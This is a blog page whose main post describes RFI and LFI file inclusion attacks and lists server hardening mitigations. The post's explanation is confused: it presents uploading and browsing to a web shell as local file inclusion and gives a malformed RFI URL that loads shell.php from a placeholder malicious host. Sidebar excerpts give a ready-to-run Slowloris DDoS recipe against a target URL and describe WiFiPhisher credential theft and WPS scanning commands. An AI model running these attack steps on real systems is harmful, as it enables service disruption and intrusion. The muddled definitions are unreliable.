Pular para o conteúdo principal

RFI – LFI File Inclusion Attacks – Mitigations

Similar to all other cyber attacks RFI – LFI file inclusion attacks also carries a strong importance when it comes to data breach. In other words we can describe it as why the server isn’t working to load my webpages.

File Inclusion

File inclusion is a type of vulnerability that allows an attacker to include a file on the Server without proper sanitization.
The act of uploading a malicious file on the server and executing it through directory traversal is know as file inclusion.
The type of attack occurs on PHP based websites where the developers have no enough information about how to sanitize and validate the user inputs. In file inclusion the user supplied input leads to file inclusion attack. Beside this, the file inclusion can exploit the functionality of web server and thus can often leads to most serious attacks.
  1. Danial of Service Attack
  2. Cross Site Scripting
  3. Code Execution
  4. Data Manipulation

Example

In a usual case, the web server allows a users to upload a file of below 100kb e.g an image.
The malicious user take advantage in such a way that instead of normal file the user upload a web shell, which is nothing else but a command prompt or shell excess to the server remotely when executed. If the web shell exceeds 100kb, the attacker changes the run time environment for the file.
file inclusion
On a successful upload the server responds back with a success message, stating the uploading path. For example
../../hacked/uploads/shell.php
ddOnce the file path is known it can be accessed remotely over the web by traversing to the file location using the uploaded path. Now if the file is accessed it allows remote administration such as creating, uploading, deleting the files and folders over the server which can take the advantage to deface the website. This is called Local File Inclusion.
The same malicious file can be accessed from different server e.g server X, by allowing the URL of the malicious file along with the URL of server X. This now allows the attacker to remotely execute the shell from server X. This is called Remote File Inclusion.
e.g http://www.ServerX.com/page?”http://www.MaliciousSite.com/hacked/uploads/shell.php”

Mitigations

The following are some of the mechanisms by which File Inclusion can be mitigated:
  1. Use the tightest possible permissions when developing and deploying web
    applications.
  2. Consider using chroot jails and code access security policies to restrict and control
    the location and type of file operations, even if the system is miss-configured.
  3. Remove all “Everyone: Full Control” ACLs on Windows, and all mode 777 (world
    write-able directories) or mode 666 files (world write-able files) on Unix systems.
  4. Strongly consider removing “Guest”, “everyone,” and world readable permissions wherever possible.
File Inclusion attack: LFI and RFI is a result of allowing unsecure data into a secure context.
The best way to prevent this attack is to never use arbitrary input data in a literal file include
request.

Comentários

Postagens mais visitadas deste blog

Realizar DDos Attack usando Slowloris

Salve esse arquivo como "slowloris.pl". Download do script. http://pastebin.com/2M4ZAHpz Abra o terminal e siga os seguintes comandos:   cd Desktop                    ( o local deve ser substituído pelo local do arquivo, nesse caso se encontra no Desktop ) chmod +x slowloris.pl perl ./slowloris.pl -dns www.target.com -port 80 -timeout 1 -num 1000 -cache 1- Substitua a URL pelo endereço do alvo. 2- Nesse caso será disparado 1000 pacotes a cada 1 segundo.

WiFiPhisher - Ataques Automatizados de Phishing Contra Redes Wi-Fi

Um pesquisador de segurança grego, chamado George Chatzisofroniou, desenvolveu uma ferramenta de engenharia social WiFi que é projetado para roubar credenciais de usuários de redes Wi-Fi segura. A ferramenta, batizada WiFiPhisher, foi lançado no site do desenvolvimento de software GitHub no domingo e está disponível gratuitamente para os usuários.   "É um ataque de engenharia social que não usa força bruta, em contraste com outros métodos. É uma maneira fácil de obter senhas WPA", disse George Chatzisofroniou. No entanto, existem várias ferramentas de hacker disponíveis na Internet que pode cortar de uma rede Wi-Fi segura, mas esta ferramenta automatiza múltipla Wi-Fi técnicas que o tornam um pouco diferente dos outros hackers. Ferramenta WiFiPhisher usa ataque "gêmeo do mal " cenário. O mesmo que o gêmeo do mal, a ferramenta cria primeiro um ponto de acesso sem fio falso (AP) mascarar-se como o legítimo Wi-Fi AP. Em seguida, ele dirige uma negação de

Como encontrar a WPS Routers Habilitados - Kali Linux

Como você poderia encontrar WPS Routers ativado?  Sério é muito fácil de encontrar WPS habilitado roteadores, mas depois que eu postei o meu tutorial sobre como cortar o WPA / WPA2 WiFi Protected muitos povos me enviado mensagens para saber como eles poderiam encontrar WPS habilitado router? por isso é muito simples e limitado a um comando único sim, vamos usar o comando de lavagem para esse fim. O comando que podemos utilizar para encontrar WPS habilitado roteadores está abaixo. wash -i mon0 -C Tenha em mente que o "C" neste alfabeto "C" deve ser a capital Também tenha em mente antes de entrar este comando por favor ligar o interface de moniter ou este comando não funciona mais assim para que você moniter tipo de interface o comando abaixo primeiro e depois tentar digitalizar routers WPS habilitados. airmon-ng start wlan0  Agora isso vai lhe dar todos os roteadores que possuem botão WPS / push ativado em cima delas e você pode tentar cortar-lhes a seu p